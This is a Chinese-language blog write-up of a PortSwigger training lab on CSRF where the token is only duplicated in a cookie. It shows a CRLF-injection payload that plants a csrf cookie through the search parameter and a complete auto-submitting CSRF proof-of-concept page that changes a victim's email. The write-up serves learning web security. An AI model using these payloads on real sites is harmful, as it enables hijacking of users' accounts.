某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

      • 跨站脚本(XSS)

      • 跨站请求伪造(CSRF)

        • 学徒-没有防御措施的CSRF漏洞
        • 从业者-CSRF-令牌验证取决于请求方法
        • 从业者-CSRF-令牌验证取决于令牌是否存在
        • 从业者-CSRF-令牌未绑定到用户会话
        • 从业者-CSRF-令牌绑定到非会话cookie
        • 从业者-CSRF-令牌仅在Cookie中复制
          • 题目
          • 实操
        • 从业者-SameSite Lax绕过-覆盖请求方法
        • 从业者-SameSite Strict绕过-客户端重定向
        • 从业者-SameSite Strict绕过-易受攻击的同级域
        • 从业者-SameSite Lax绕过-Cookie刷新
        • 从业者-CSRF-Referer验证取决于标头是否存在
        • 从业者-CSRF-Referer验证中断
      • 跨域资源共享(CORS)

      • 点击劫持

      • 基于DOM的漏洞

      • WebSockets

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 客户端
  • 跨站请求伪造(CSRF)
carsaid
2023-10-06
目录

从业者-CSRF-令牌仅在Cookie中复制

# 实验室:CSRF-令牌仅在Cookie中复制

# 题目

此实验室的 电子邮件更改功能 容易受到 CSRF 的攻击。它试图使用不安全的 “双重提交” 技术来防止 CSRF 攻击。

若要解决实验室问题,请使用漏洞利用服务器托管一个 HTML 页面,该页面使用 CSRF 攻击来更改查看者的电子邮件地址。

你可以使用以下凭据登录到自己的帐户:wiener:peter

提示

你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。

实验室-从业者

CSRF-令牌仅在Cookie中复制 >>

- name: 实验室-从业者
  desc: CSRF-令牌仅在Cookie中复制 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-duplicated-in-cookie
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

进入实验室,可以看到一个熟悉的搜索功能。

先不管搜索功能,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码进行登录。

Not Found Image

登录后,在账户页面中可以看到一个邮箱更改功能,输入一个新邮箱,点击 “Update email” 并捕获请求数据包。

Not Found Image

捕获的请求数据包如下。

Not Found Image

修改 Cookie 中的csrf参数值为1,返回错误信息。

Not Found Image

将 POST 中的csrf参数也修改为1,请求成功。

说明更改邮箱时,服务端只会对比 POST 和 Cookie 中的两个csrf参数值是否相同,只要相同即可通过验证。

Not Found Image

进行一次搜索,并捕获请求数据包。

Not Found Image

和上一个实验室相同,可以注入 Cookie。

Not Found Image

通过注入字符\r\n进行换行,然后另起一个Set-Cookie注入新的 Cookie,同时指定SameSite=None属性禁用同站策略:

abc%0d%0aSet-Cookie:%20csrf=123456%3b%20SameSite=None
1

在以上载荷中,将csrf的值设置为了123456。

Not Found Image

使用 wiener 账户的邮箱更改数据包,生成一个 CSRF PoC:

  • 先通过img标签请求搜索功能,以注入 Cookie 中的csrf=123456; SameSite=None参数值
  • 然后通过表单执行 CSRF 攻击,csrf值同样也为123456,与 Cookie 中的对应

别忘了修改 PoC 中的邮件地址,防止冲突。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <img src="https://<受攻击的域>/?search=xyz%0d%0aSet-Cookie:%20csrf=123456%3b%20SameSite=None">
    
    <form action="https://<受攻击的域>/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="x&#64;y&#46;z" />
      <input type="hidden" name="csrf" value="123456" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      function submit() {
        document.forms[0].submit();
      }
      setTimeout(submit, 2000);
    </script>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

保存以上 PoC 到漏洞利用服务器上,然后发送给受害用户。

Not Found Image

载荷正确,成功更改了受害用户的邮箱地址。

实验完成。

Not Found Image
编辑 (opens new window)
从业者-CSRF-令牌绑定到非会话cookie
从业者-SameSite Lax绕过-覆盖请求方法

← 从业者-CSRF-令牌绑定到非会话cookie 从业者-SameSite Lax绕过-覆盖请求方法→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式